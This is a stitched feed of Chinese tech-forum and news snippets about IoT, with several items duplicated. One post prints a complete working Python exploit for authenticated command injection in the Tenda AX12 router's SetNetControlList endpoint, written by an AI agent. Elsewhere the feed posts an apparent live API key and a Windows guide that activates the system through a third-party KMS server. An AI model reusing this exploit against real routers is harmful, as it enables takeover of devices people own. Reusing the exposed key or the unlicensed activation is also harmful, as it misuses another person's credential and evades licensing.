除了把 HomePod 放到 IoT VLAN ,还有什么更优雅的解决方案吗?
除了把 HomePod 放到 IoT VLAN ,还有什么更优雅的解决方案吗?
除了把 HomePod 放到 IoT VLAN ,还有什么更优雅的解决方案吗?
除了把 HomePod 放到 IoT VLAN ,还有什么更优雅的解决方案吗?
除了把 HomePod 放到 IoT VLAN ,还有什么更优雅的解决方案吗?
除了把 HomePod 放到 IoT VLAN ,还有什么更优雅的解决方案吗?
大家好,我叫小天。15 年来日,已在日 11 年。 之前曾在中国移动,超聚变等公司做 Sales Engineer 。 目前在一家日资企业,专注做针对外国人的日本 IT 行业的猎头/职业顾问。 目前手头很多日本正社员职位正在开放招聘,希望能帮助想来日本发展或在日本寻求转职的朋友们。 我不仅提供职位推荐,还会协助大家进行简历优化和面试对策,欢迎感兴趣的朋友交流! 流程完全免费,不会收取任何费用! --- 今天帮大家带来一个极其优质的大厂自研核心岗位。该部门主要负责全球化共享移动电源( CHARGESPOT )及各种各类全新出海业务,面对的是 10 万+ 智能 IoT 设备和超 2000 万全球用户。团队高度国际化,发展空间巨大!有兴趣符合条件的朋友请联系我! 📮 联系方式 WeChat:phi0620 Line:ltc0620 LinkedIn: https://www.linkedin.com/in/jun-amagishi-tianchun-li-37b671407/ 🟢 招聘职种 SRE 工程师 (SRE Engineer - CHARGESPOT Department) 🟢 岗位要求 具备 3 年以上 基础设施运维相关业务的实战经验。 熟练掌握 AWS 或 Alibaba Cloud 等主流公有云的实际部署与运营经验。 扎实的 Linux OS 基础、网络基础知识,并熟悉 Prometheus 、Grafana 、ELK 等主流监控与日志分析工具。 熟悉数据库 Schema 架构设计,并具备扎实的 SQL 性能调优( Tuning ) 知识。 [加分项] 具备 Jenkins 、GitLab 等 CI/CD 工具的配置与流水线优化经验。 [加分项] 熟练使用 Python 或 Go 编写自动化运维脚本,有 Terraform 、Ansible 等 IaC 工具经验者优先。 [加分项] 精通 HTTP 、TCP 、特别是 MQTT 等物联网通信协议,具备强大的网络故障排查能力。 🟢 岗位特征 语言要求:中文商务水平(硬性必须) + 英文,日文商务水平(强烈欢迎,加分项非必须) 工作性质:负责跨国多区域自研系统的导入、CI/CD 流程构建、系统架构的可用性与扩展性设计,以及突发障害的快速响应与根本原因分析。 就劳环境:团队由 1 名统括部长和 6 名核心成员组成,支持 Full Flex 全弹性工作制(无核心时间),且每周可享受 1 次 WFH (居家办公)。 🟢 待遇与福利 雇佣形式: 直签正社员(稳定自研大厂席位,无契约社员) 想定级别:Leader (高级经理) ~ Senior Associate (高级工程师/主任级) 年薪范围: [ Leader 职级] 660 万 ~ 1,100 万日元(含全额奖金) [ Senior Associate 职级] 430 万 ~ 650 万日元(含全额奖金及加班补贴) ※ 最终薪资将严格根据个人技术深度与面试表现进行评定。 赴日支持:100% 协助办理日本正社员工作签证。 团队氛围: 扁平化、国际化的开放团队,职能边界灵活,非常鼓励开发者主动输出技术影响力。
大家好,我叫小天。15 年来日,已在日 11 年。 之前曾在中国移动,超聚变等公司做 Sales Engineer 。 目前在一家日资企业,专注做针对外国人的日本 IT 行业的猎头/职业顾问。 目前手头很多日本正社员职位正在开放招聘,希望能帮助想来日本发展或在日本寻求转职的朋友们。 我不仅提供职位推荐,还会协助大家进行简历优化和面试对策,欢迎感兴趣的朋友交流! 流程完全免费,不会收取任何费用! --- 今天帮大家带来一个极其优质的大厂自研核心岗位。该部门主要负责全球化共享移动电源( CHARGESPOT )及各种各类全新出海业务,面对的是 10 万+ 智能 IoT 设备和超 2000 万全球用户。团队高度国际化,发展空间巨大!有兴趣符合条件的朋友请联系我! 📮 联系方式 WeChat:phi0620 Line:ltc0620 LinkedIn: https://www.linkedin.com/in/jun-amagishi-tianchun-li-37b671407/ 🟢 招聘职种 SRE 工程师 (SRE Engineer - CHARGESPOT Department) 🟢 岗位要求 具备 3 年以上 基础设施运维相关业务的实战经验。 熟练掌握 AWS 或 Alibaba Cloud 等主流公有云的实际部署与运营经验。 扎实的 Linux OS 基础、网络基础知识,并熟悉 Prometheus 、Grafana 、ELK 等主流监控与日志分析工具。 熟悉数据库 Schema 架构设计,并具备扎实的 SQL 性能调优( Tuning ) 知识。 [加分项] 具备 Jenkins 、GitLab 等 CI/CD 工具的配置与流水线优化经验。 [加分项] 熟练使用 Python 或 Go 编写自动化运维脚本,有 Terraform 、Ansible 等 IaC 工具经验者优先。 [加分项] 精通 HTTP 、TCP 、特别是 MQTT 等物联网通信协议,具备强大的网络故障排查能力。 🟢 岗位特征 语言要求:中文商务水平(硬性必须) + 英文,日文商务水平(强烈欢迎,加分项非必须) 工作性质:负责跨国多区域自研系统的导入、CI/CD 流程构建、系统架构的可用性与扩展性设计,以及突发障害的快速响应与根本原因分析。 就劳环境:团队由 1 名统括部长和 6 名核心成员组成,支持 Full Flex 全弹性工作制(无核心时间),且每周可享受 1 次 WFH (居家办公)。 🟢 待遇与福利 雇佣形式: 直签正社员(稳定自研大厂席位,无契约社员) 想定级别:Leader (高级经理) ~ Senior Associate (高级工程师/主任级) 年薪范围: [ Leader 职级] 660 万 ~ 1,100 万日元(含全额奖金) [ Senior Associate 职级] 430 万 ~ 650 万日元(含全额奖金及加班补贴) ※ 最终薪资将严格根据个人技术深度与面试表现进行评定。 赴日支持:100% 协助办理日本正社员工作签证。 团队氛围: 扁平化、国际化的开放团队,职能边界灵活,非常鼓励开发者主动输出技术影响力。
先到先得,手慢无。 XGt6IotPTimyo60i4ET6Gt79H22tL0_7.zip (264.7 KB) 3 个帖子 - 3 位参与者 阅读完整话题
刚看到佬友讨论github copliot订阅有变化,突然想到自己还有自动订阅,去看了下,前几天给我自动退款了,是什么情况???我这都连续订阅两年了,清退用户? 2 个帖子 - 1 位参与者 阅读完整话题
apikey:tp-cwm82nkt09xeq2iotw39m433vpsyzpigr1grobyhq51rfsaz 1 个帖子 - 1 位参与者 阅读完整话题
IT之家 6 月 4 日消息,比亚迪方程豹今日宣布钛 7 推送第五次 OTA 更新:135KM 两驱 Pro 版、200KM 两驱 Max 版、190KM 四驱 Max 版带来 6 项新增项,10 项优化;190KM 四驱 Ultra 版带来 17 项新增项,14 项优化。 IT之家整理如下: 新增全向行车记录仪(五视角) :135KM 两驱 Pro 版、200KM 两驱 Max 版、190KM 四驱 Max 版 新增 IoT 生态扩展 :190KM 四驱 Ultra 版,新增车载空气净化器、两用双温冰箱、车载吸尘器、腰部按摩仪、九号滑板车、宠物安全座。 新增魔方全景声:190KM 四驱 Ultra 版 新增“听歌新姿势”提示:190KM 四驱 Ultra 版 新增百变主题音乐壁纸:190KM 四驱 Ultra 版 新增可对海信、TCL 空调远程控制 :190KM 四驱 Ultra 版 新增座椅可根据语音指令来调节前后、高低及角度;语音操控及长按方向盘“时距-”按键,上报驾驶辅助事件:所有车型 哨兵模式新增本地或 U 盘便捷导出功能,可在哨兵视频播放界面选择视频导出至相关设备;用户在副驾舒享场景进入失败、退出、安全切换等关键节点获得语音提示;智慧物联 App 商城购买商品支持通过积分支付:190KM 四驱 Ultra 版 针对鸿蒙 6.0 及以上系统的华为手机开放,实现手机在车机上的镜像小窗显示;面向系统版本为 OneUI 8.0 及以上的国行三星机型,实现手机在车机上的镜像小窗显示;在手车互联时车机可直接调用手机移动网络,即连即享 (适用 OPPO、vivo、小米部分机型):135KM 两驱 Pro 版、200KM 两驱 Max 版、190KM 四驱 Max 版
最近AI在公司用的很火,公司专门成立AI组,公司主要是给制造业做系统的,有MES、WMS,我们组是负责IOT相关的,组长看我经常用这些AI工具,希望我能做IOT结合AI方面的应用落地,预研什么的,希望6月底能看到一些成果!没有明确的需求和任务,我一头雾水,没什么头绪,有大佬能给点建议吗? 7 个帖子 - 7 位参与者 阅读完整话题
Windows 11 IoT Enterprise LTSC 2024,我想下载这个镜像重装电脑,官方下载,下载出来Evaluation 评估版,archive感觉又不可信 10 个帖子 - 8 位参与者 阅读完整话题
各位佬友,我安装的系统是 Windows 11 IoT 企业版 LTSC ,现在有个更新一直安装失败。 尝试过: 1.使用系统修复工具 DISM.exe /Online /Cleanup-image /ScanHealth DISM.exe /Online /Cleanup-image /RestoreHealth sfc /scannow 2.重启windows更新服务 net start wuauserv net start bits net start cryptsvc 3.设置内更新下载到8%左右就下载失败。 4.windows11 安装助手也失败 有佬友知道是什么问题或者从哪里排查吗。 3 个帖子 - 2 位参与者 阅读完整话题
前言介绍 首先我的电脑是联想的拯救者笔记本,重装的目标系统是Windows 11 IoT 企业版 LTSC 2024,这是官方的系统,比正式的版本是要精简一些(更新并且安装完相关组件之后大概是30GB,纯系统是20GB,还有其他一些它自己配置的东西,有利于系统稳定运行吧,什么虚拟内存之类,还有系统还原相关),然后就是比较稳定,不怎么更新,其他好像没啥优点了吧,我主要是体验重装的过程,毕竟会重装了,以后那是想装啥就装啥,先装一个官方的版本试试水,之后再去 果核剥壳网 上安装更加激进的系统。 1. 软件管理和数据恢复 重装的第一步肯定是备份原本的数据,D盘的数据不用动,重装的时候是格式化C盘,所以大部分自己想保留的数据迁移到D盘就行了(我的软件安装习惯就是放在D盘,所以基本不用怎么迁移,把ssh文件迁过来就差不多了) 1.1 Scoop 电脑的软件建议都通过Scoop管理工具进行安装,重装系统之后恢复起来非常方便,平时对于软件的安装,卸载,更新,以及版本回退,都是通过命令行来实现,想要进行什么操作,直接问deepseek就可以了。 Scoop安装教程可以参考这篇 博客 ,不过我更加建议直接问deepseek,让它带着你一步一步操作,切记要把Scoop安装到D盘目录下,上面那篇博客对于这个操作介绍好像就提了一下,所以还是建议跟着deepseek操作,只有将Scoop安装到D盘目录下,接下来的数据恢复,才不需要重新下载,不然需要重新下载一遍安装过的软件目录。 在备份的时候,deepseek建议手动备份Scoop的安装过的软件清单 scoop export > D:\Backup\scoop_apps.json 这个命令,就是把你通过Scoop安装过的软件记录一遍,当你重装好系统之后,下载一个Scoop再跟着清单重新安装一遍 # 重装软件 scoop import D:\Backup\scoop_apps.json # 然后重建所有快捷方式和文件关联 scoop reset * 上面这是Scoop装在C盘的情况,如果是装在D盘,只需要重建环境变量(让新系统知道有Scoop这个软件)和重建所有连接即可。 # 重建环境变量 [Environment]::SetEnvironmentVariable('SCOOP', 'D:\你Scoop安装的地址\Scoop', 'User') $env:SCOOP = 'D:\你Scoop安装的地址\Scoop' [Environment]::SetEnvironmentVariable('Path', [Environment]::GetEnvironmentVariable('Path', 'User') + ';D:\你Scoop安装的地址\Scoop\shims', 'User') # 重建所有连接 scoop reset * 然后Scoop管理的所有软件就都能用了,不用重新下载。 deepseek还建议下载网络驱动,但重装之后实测驱动是好的,不知道是不是系统自带的,反正是好使,我从联想官网下载的全套驱动都没用上。 1.2 浏览器 我使用的浏览器是Edge(据说最近疯狂暴雷,以后还是转战Chrome比较好一些),平时也是开了同步功能的,其中的标签和密码,都存在云端,用不着手动备份。如果不放心的话,可以去浏览器的标签和密码管理页,都有导出的功能,将导出的文件存到D盘或是其他设备即可。重装系统之后,可以在导出的地方,进行手动导入。 刚才发现,我油猴脚本上安装过的脚本没有随着Edge浏览器的同步而同步过来,还好平时也不咋用,油猴脚本的同步功能是在 设置 中,找到 同步脚本 模块,点击 启用脚本同步 ,同步类型选择OneDrive,别选浏览器同步,那是给本地电脑不同浏览器使用的,对于重装系统恢复数据无效,然后选择保存,点击 现在运行 ,然后就是一个弹出授权,点确认即可。这个同步功能,我也不知道效果怎么样,所以还有手动备份的操作,在油猴脚本设置的旁边有个 实用工具 ,在里面可以手动导出文件或压缩包,放到D盘,重装系统之后再从这里手动导入即可。 1.3 WSL2 开发环境在Linux的话,可以使用wsl2,轻量级的使用和虚拟机上差别似乎不大。 # 安装wsl2,默认会同步安装Ubuntu系统,设置好用户名和密码即可 wsl --install # 系统迁移到D盘 mkdir D:\WSL\Ubuntu wsl --shutdown wsl --export Ubuntu D:\WSL\Ubuntu\ubuntu-backup.tar # 注销C盘原系统并导入D盘中 wsl --unregister Ubuntu wsl --import Ubuntu D:\WSL\Ubuntu D:\WSL\Ubuntu\ubuntu-backup.tar --version 2 # 恢复默认用户 Ubuntu config --default-user xiao # 清理之前生成的临时文件 del D:\WSL\Ubuntu\ubuntu-backup.tar # 登录Ubuntu系统 wsl -d Ubuntu 恢复默认用户 这一步,是deepseek让做的,实际上运行的时候是报错了,但不知道为什么重新登陆Ubuntu系统还是xiao这个用户,而不是deepseek说的不执行这一步,默认就是root用户登录。 C盘格式化重装系统之后,以管理员身份打开 PowerShell # 在新系统上开启 WSL 功能,应该需要重启 dism /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart dism /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart # 重新注册D盘上的Ubuntu系统 wsl --import-in-place Ubuntu D:\WSL\Ubuntu\ext4.vhdx # 验证并启动 wsl -d Ubuntu 手动备份的重点,目前来看就是C盘用户目录下的.ssh文件夹和油猴脚本,这俩玩意要是没备份,那就真的没了,损失惨重。其他不能安装在Scoop上的软件,那就只能裸装在D盘上了,如果是绿色软件,重装系统之后也是能够直接使用的,如果不是,可以试着双击启动,有些软件能够自动修复注册表,不能的话,就只有重新安装一下了,目录还是选择当前的D盘文件,数据应该能够恢复。 通过上述的Scoop,wsl2和浏览器自身的同步功能,数据的恢复基本上非常轻松。然后就能随意的重装系统了。 2. 重装系统的步骤 2.1 下载镜像 首先是从 en-us_windows_11_iot_enterprise_ltsc_2024_x64_dvd_f6b14814.iso 这个下载页进行LTSC系统镜像下载,其中有 SHA-1 校验值 SHA-1: d5dd0a493b6a9c92f7f2a54bb2fb2544587a15fd 这是用来校验的,防止下载或是粘贴到U盘的过程中损坏,系统文件损坏一点点就用不了了,为了防止到了安装的时候才发现,下载完成之后在本地进行校验,迁移到U盘上再校验一次,确保镜像没有被篡改或是损坏。 校验方法,打开cmd,输入以下命令回车: certutil -hashfile "你的文件路径\en-us_windows_11_iot_enterprise_ltsc_2024_x64_dvd_f6b14814_2.iso" SHA1 将得到的结果进行比对,要完全一致,否则需要重新下载。 2.2 Ventoy制作启动盘 其实下载好这个镜像之后,双击也是能够直接安装的,不过没有用U盘安装的彻底,更像是覆盖或升级(我还没试过),毕竟以后可能需要安装其他的操作系统,比如Linux之类的,所以还是要学会U盘重装系统,最为彻底了。 使用Ventoy制作启动盘的好处就是,往后想安装的系统镜像,直接拖到U盘中即可,并且还可以创建一些独立的文件夹存放其他数据。 制作过程如下: 去 Ventoy 官网 进行下载并解压,以管理员身份运行 Ventoy2Disk.exe ,在软件界面的 设备 下拉菜单中,选中你的U盘(接下来的操作会格式化U盘,注意提前备份好数据),然后点击菜单栏的 配置选项 → 分区类型 ,如果是比较新的电脑选择GPT,如果是古董电脑就选择MBR,然后点击安装按钮,警告窗口点确认即可,等进度条跑完,你的普通U盘就制作成启动盘了。 通过Ventoy制作的启动盘,重新插入电脑会出现两个分区,大的分区是存放系统镜像和个人文件的数据区,小的分区是Ventoy的引导区。 将你之前下载好的系统镜像直接粘贴到U盘大分区中,建议U盘插在笔记本电脑的后边,供电比较稳定,本来我是插在侧边,粘贴到一半供电不稳断开了,镜像也因此损坏。粘贴好之后,复制U盘下镜像的文件路径,然后再进行一次 SHA-1 校验,确保没有损坏。 2.3 重装系统 数据备份好了,启动盘制作好了,可以开始重装了。 我的电脑是联想拯救者系列,有个默认打开的安全启动 (Secure Boot),先要将它关闭,不然不能够进行启动盘启动,会报 0x1A Security Violation 错误(图片不知道去哪了(ˉ▽ˉ;)…) 解决办法,在开机的时候疯狂按F2键,进入 BIOS 设置界面,找到 Security (安全) 菜单,在其下方找到 Secure Boot (安全启动) 选项,按回车,将其从 Enabled 改为 Disabled 即可。按 F10 键,选择 Yes 保存并退出。电脑会自动重启,然后疯狂敲击 F12 ,选择你的 U 盘启动项(UEFI 开头),进入 Ventoy 菜单并选中你准备好的系统镜像文件,按回车,就能顺利进入安装界面了。 接下来都没啥需要注意的,到分区的时候需要停下来。要删除两块分区,一个是旧系统安装的C盘,然后还有它的恢复盘。 Disk 0 Partition 3: Windows-SSD (Total Size 200.0 GB, Type Primary) 这是我的C盘,选中它,点击工具栏中的 Delete (删除) 按钮。系统会弹窗确认,点击 OK 即可,切记不要把D盘删掉了,不然数据就都没了。(图就不提供了,重装系统太惊险刺激了,忘记拍照了 ) Disk 0 Partition 5: Recovery (Total Size 1000.0 MB) 这是旧系统的恢复区,也删掉,到时候重装好了,把这块区域回收给D盘,不过话说此时不删的话,是不是重装出问题了还能够有个系统复原,免得U盘中的系统不小心损坏了,电脑还自带了一个恢复系统,不知道我这种猜想可不可行,我还没试过。所以建议恢复区先保留,只删除C盘即可。 执行完上面的操作之后会得到两块未分配的空间(Unallocated Space),单击选择200GB的那块,也就是之前装旧系统的C盘区域,确认无误后,点击下一步Next按钮(千万别把D盘覆盖了)。 接下来的操作好像就没有啥需要注意的了,直接等它安装好,进行登录就可以了,实测可以直接联网,我是通过数据线给笔记本提供网络的,但其实没网也没啥问题。登录的时候不要输入任何的邮箱地址,点击输入框下方的 Sign-in options (登录选项),然后选择下面的Domain join instead,可以创建本地用户名,也就是离线用户。 2.4 相关配置 进入新系统之后,首先是去设置中下载中文包,在时间和语言中,实测安装好中文包之后进行配置并重启,还是有一部分的内容一直显示英文,怎样配置都没用,但用着用着,它就自动变成全中文了,非常神奇。 再然后右键Windows图标选择磁盘管理,或者通过搜索也能进入磁盘管理,之前不是还有一个未分配的空间没处理嘛,就是旧系统的恢复分区,大概有1个G,因为它是靠近D盘的,这部分空间只能回收给D盘。在磁盘管理的界面,右键点击Data (D:) 分区,选择 扩展卷 ,在弹出的 扩展卷向导 中,一路点击下一步,最后点击完成即可。现在的LTSC系统的恢复分区是紧挨着C盘创建的,也就是从C盘中划了1G的空间出来,如果之前重装系统的时候,只删除了C盘的分区,而没有把旧系统的恢复分区一起删了,也就是现在的1GB未分配空间,那重装好之后,LTSC系统的恢复分区会不会直接在旧系统的恢复分区上创建呢?下次重装系统我再试试。 所以说重装系统到分区格式化的那一步,建议还是不要顺手把旧系统恢复分区删掉,如果出了问题的话,或许还能复原,然后新系统的恢复分区或许能够直接配置在旧系统恢复分区上,就算上面的两个猜想都不成立,等新系统装好之后来到磁盘管理界面再删除回收给D盘也不迟。 此时的系统还没有激活,还是右键Windows图标,进入PowerShell管理员模式,依次输入以下命令: C:\Windows\System32>slmgr -ipk M7XTQ-FN8P6-TTKYV-9D4CC-J462D C:\Windows\System32>slmgr -skms kms.03k.org C:\Windows\System32>slmgr -ato C:\Windows\System32>slmgr -dlv 然后会有一个弹窗告诉你激活成功了,还有一个时间,到期之后自动续签,不过这是使用的第三方KMS激活服务器,如果你是一个diy狂热爱好者,可以在本地电脑的WSL2上搭建一个自己的KMS服务器,不过只能作用于本台电脑,如果还有其他设备也需要激活,那就部署到vps上。两种部署方式都不是很难,几十分钟能搞定吧,不过我是懒狗,等他关门了,我再自己手动配置。 此时的用户还是本地离线用户,我是在登录Edge的时候同步变成在线用户的,不过登录Edge的时候会出现报错,错误代码 0x80190001 ,我当时咋处理来着,好像是在设置中重置网络就好了,还是更新完组件就好了来着,反正这系统多更新,多使用一下,大大小小的毛病就自己修复了。参考如下操作: 打开系统 设置 ->进入 网络和Internet → 高级网络设置 ->选择 网络重置 ,然后点击 立即重置 。似乎就是这么解决的这个报错。 然后应该没啥了吧,感觉重装系统也就这么回事,只要是D盘没有手滑格式化,基本没啥变化,用Scoop和WSL2来管理所要安装的软件,恢复起来非常方便。 1 个帖子 - 1 位参与者 阅读完整话题
睡了个觉 花费2 元,AI挖出我的第一个 IOT RCE 漏洞 起因 最近心血来潮,突然想接触一些关于IOT相关的内容,但是由于之前基本没有怎么接触过,基础有限,最近又刷到各种AI agent,AI CTF相关的内容,于是就想试试能不能让我一个没怎么接触过IOT,使用AI去挖掘到我的第一个IOT相关的漏洞 环境准备 1. AI中转 xxx中转 2.目标准备 我找了一台家里闲置的路由器 漏洞复现 1. Prompt提示词 用 $ctf-sandbox 这个 skill 来完成接下来的 CTF-IOT 挑战。已知 http://192.168.111.1/是路由器管理员地址,唯一知道的信息是管理员密码为 88888888,这个路由器为本地测试环境,可以做任何测试。 你需要自己获取到该设备的固件版本(已知型号是 tenda-AX12),并去网上找到相关版本固件,下载到本地并解压。对解压后的文件系统进行审计,所需二进制文件分析,必须使用 IDA 打开并通过 IDA-MCP 进行审计,找到 RCE 漏洞,并在当前本地路由器测试环境验证。所有的分析必须经过实际ida 的代码审计,不允许随意猜测或从网上寻找相关漏洞资料。 验证方式为执行sleep x,根据响应延迟判断漏洞是否存在,如果遇见高置信漏洞,但 sleep 无法测试的话,可以采用执行wget 或者 curl 的方式,请求本机的一个端口,本机检测是否有请求过来。最终给我一个 exp.py 和 wp.md帮我完成这个 CTF 挑战。 因为我先看看如果没有人工进行干预,他到底能做到什么样,所以喂给他这个提示词后,我就去洗漱睡觉了 2. 结果 第二天睡醒, AI 已经给我整理好了一份 exp.py以及一份详细的 wp.md 文档。里面记录了 AI 研究的所有过程,同时 exp.py 运行后直接获取了路由器的 root shell,虽然耗时还是比较久,但是我根本没有去管他,他能自主做到这种地步我已经很满意了,有一种马上要被ai取代的感觉了… 3. 花费 xxx xxx EXP #!/usr/bin/env python3 import argparse import base64 import hashlib import json import time from urllib.parse import urljoin import requests from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad IV = b"EU5H62G9ICGRNI43" class AX12Client: def __init__(self, base_url, password, timeout=10): self.base_url = base_url.rstrip("/") + "/" self.password = password self.timeout = timeout self.session = requests.Session() self.sign = None def url(self, path): return urljoin(self.base_url, path.lstrip("/")) def login(self): digest = hashlib.md5(self.password.encode()).hexdigest() r = self.session.post( self.url("/login/Auth"), data={"username": "admin", "password": digest}, allow_redirects=False, timeout=self.timeout, ) if r.status_code not in (200, 302): raise RuntimeError(f"login failed: HTTP {r.status_code}") r = self.session.get(self.url("/goform/stokCfg"), timeout=self.timeout) r.raise_for_status() data = r.json()["stokCfg"] self.sign = data["sign"].encode() return data def encrypt(self, body): if self.sign is None: raise RuntimeError("not logged in") cipher = AES.new(self.sign, AES.MODE_CBC, IV) return base64.b64encode(cipher.encrypt(pad(body.encode(), AES.block_size))).decode() def decrypt_response(self, text): try: obj = json.loads(text) except json.JSONDecodeError: return text if "data" not in obj: return text cipher = AES.new(self.sign, AES.MODE_CBC, IV) return unpad(cipher.decrypt(base64.b64decode(obj["data"])), AES.block_size).decode() def get_form(self, path): r = self.session.get(self.url(path), timeout=self.timeout) r.raise_for_status() return self.decrypt_response(r.text) def post_form(self, path, body, timeout=None): timeout = self.timeout if timeout is None else timeout encrypted = self.encrypt(body) start = time.monotonic() r = self.session.post(self.url(path), data=encrypted, timeout=timeout) elapsed = time.monotonic() - start r.raise_for_status() return elapsed, self.decrypt_response(r.text) def detect_version(client): data = json.loads(client.get_form("/goform/GetSystemStatus")) return data.get("adv_firm_ver"), data.get("adv_hard_ver") def build_netcontrol_body(cmd=None, dev_name="dev", limit_up=128, limit_down=128): mac = "00:11:22:33:44:55" if cmd: mac = f"0;{cmd};#aa" return f"list={dev_name}\r{mac}\r{int(limit_up)}\r{int(limit_down)}" def post_netcontrol(client, body, timeout=20): start = time.monotonic() try: elapsed, resp = client.post_form("/goform/SetNetControlList", body, timeout=timeout) print(f"[*] SetNetControlList response: {elapsed:.2f}s {resp}") return elapsed, resp, False except requests.exceptions.ReadTimeout: elapsed = time.monotonic() - start print(f"[!] SetNetControlList timed out after {elapsed:.2f}s; command may still have executed") return elapsed, None, True def exploit_sleep(client, seconds): body = build_netcontrol_body(cmd=f"sleep {int(seconds)}") elapsed, _, _ = post_netcontrol(client, body, timeout=max(15, seconds + 10)) if elapsed >= max(1, seconds - 0.75): print(f"[+] RCE verified by delay: expected ~{seconds}s, observed {elapsed:.2f}s") return True print(f"[-] no convincing delay: expected ~{seconds}s, observed {elapsed:.2f}s") return False def exploit_cmd(client, cmd, timeout=20): body = build_netcontrol_body(cmd=cmd) elapsed, resp, timed_out = post_netcontrol(client, body, timeout=timeout) if timed_out: print("[+] payload sent; HTTP timed out, please verify by side effect") else: print(f"[+] payload sent in {elapsed:.2f}s, response: {resp}") def main(): parser = argparse.ArgumentParser(description="Tenda AX12 authenticated RCE verifier for SetNetControlList command injection") parser.add_argument("-u", "--url", default="http://192.168.111.1/", help="router base URL") parser.add_argument("-p", "--password", default="88888888", help="admin password") parser.add_argument("--sleep", type=int, default=5, help="sleep seconds for timing verification") parser.add_argument("--cmd", help="run an arbitrary shell command through SetNetControlList") parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout for the exploit request") args = parser.parse_args() client = AX12Client(args.url, args.password) stok = client.login() print(f"[*] logged in, stok={stok.get('stok')} sign={stok.get('sign')}") version, hardware = detect_version(client) print(f"[*] device firmware={version} hardware={hardware}") if args.cmd: exploit_cmd(client, args.cmd, timeout=args.timeout) else: ok = exploit_sleep(client, args.sleep) raise SystemExit(0 if ok else 1) if __name__ == "__main__": main() 分析报告 后面根据AI生成的报告,我也去进行了相关的跟踪和研究,这里列一下 AI 分析的关键调用链,这个漏洞的调用链其实还是稍微长一些的,并且需要跨进程分析。 首先在 httpd 中定位接口注册点,在 httpd::sub_41DE60 中注册了 sub_40A144("SetNetControlList", sub_43FDCC); 。 继续跟进 sub_43FDCC 。从伪代码可以直接看到,接口从请求中直接读取参数 list ;真实危险路径不是同步执行,而是 fork() 之后由子进程调用 set_tc_rule() 。也就是说,这个洞的后半段天然是异步的,所以不能只靠 HTTP 响应时间判断漏洞是否存在。 接下来跟进 sub_43FBBC ,确认 list 的真实格式。图中红框对应的核心逻辑是: sscanf(v14, "%[^\r]\r%[^\r]\r%[^\r]\r%s", v15, v13, v12, v11); 这意味着 list 的一条记录会被按以下顺序解析: dev_name \r mac \r limit_up \r limit_down 。也就是:设备名 dev_name 、MAC 字段 mac 、上行速率 limit_up 、下行速率 limit_down 。 继续看 sub_43F8DC , a2 就是上一层解析出来的 mac,它会被直接写入 qos.@device_rule[%d].mac ,写完后立刻 CfgCommit("qos") 。这说明攻击者输入不是临时内存变量,而是被持久化进了设备配置。这一层的数据流已经很明确: HTTP list -> parsed mac -> qos.@device_rule[*].mac 接下来进入 libtd_server.so ,跟踪 set_tc_rule() 。可以看到: qos_rule_config = get_qos_rule_config((int)v13); 这一步说明前面落地到 UCI 的 qos 配置,后面会被 set_tc_rule() 从配置文件重新读回内存。也就是说,攻击者对 qos.@device_rule[*].mac 的污染,不会停留在配置层,而会继续向命令执行层流动。 下图能推导出三件事: get_qos_rule_config() 把每条 device_rule 读入缓冲区 v13 每条记录步长固定是 48 字节 add_tc_traffic_control() 收到的第二个参数 a2 就是当前记录起始地址 继续跟进 add_tc_traffic_control() 本身,结合上一层调用已经可以确认: a2 = mac a3 = limit_up a4 = limit_down 这一步把"可控字段"和"危险函数参数"正式对上了。 最关键的证据在下面这张图。这是最终的决定性证据: a2 被直接以 %s 形式拼进 shell 命令 这里没有任何 shell escaping 也没有对 mac 做格式校验 最后经 doSystemCmd() 直接执行 也就是说,只要 a2 中出现 ; 、 # 这类 shell 元字符,就能打断原有命令并执行攻击者自己的命令。 至此,漏洞链闭环。 结语 大家如果感兴趣可以去多尝试一下,现在的大模型能力我觉得已经能支撑很大一部分的工作,不必因为ai而焦虑,拥抱安全,拥抱ai,如果大家对AI挖洞有兴趣的话,后面还可以继续更新相关系列的文章,如果大家有好的AI安全的思路和想法,欢迎大家交流!! 25 个帖子 - 19 位参与者 阅读完整话题
本地的对话可以正常进行,但是 ssh 到服务器对话卡住没反应,有遇到的吗,我用的 deepseek for copilot 插件
IT之家 5 月 8 日消息,瑞芯微 (Rockchip) 今日正式推出面向中阶 AIoT 市场的新款处理器 RK3572。相比瑞芯微上代同定位平台, 其性能提升超过 100% , 典型场景功耗降低 50% 以上 ,大部分实际应用场景的最小系统功耗<1W。 RK3572 基于 8nm 制程工艺 ,结合了 2×Cortex-A73 + 6×Cortex-A53 的 CPU、Mali-G310 GPU、INT8 算力达 4TOPS 的 NPU,支持 LPDDR 4 (x) / 5 (x) 内存和 eMMC 5.1 (HS400)、UFS 2.0 2CH、SD 3.0 / MMC 4.51、FSPI 存储。 此外,这款 SoC 搭载 12M ISP,支持 HEVC 编码和 HEVC、VP9、AVS2、AV1 解码;允许双屏异显,能同时驱动 4K@60fps + 2K@60fps。RK3572 也提供了 PCIe 2.1、SATA 3.1、USB DRD 3.0/2.0、2× 1GbE、SDIO 3.0、DSMC,以及 CAN、I2C、I3C、SPI、UART 等工业控制接口。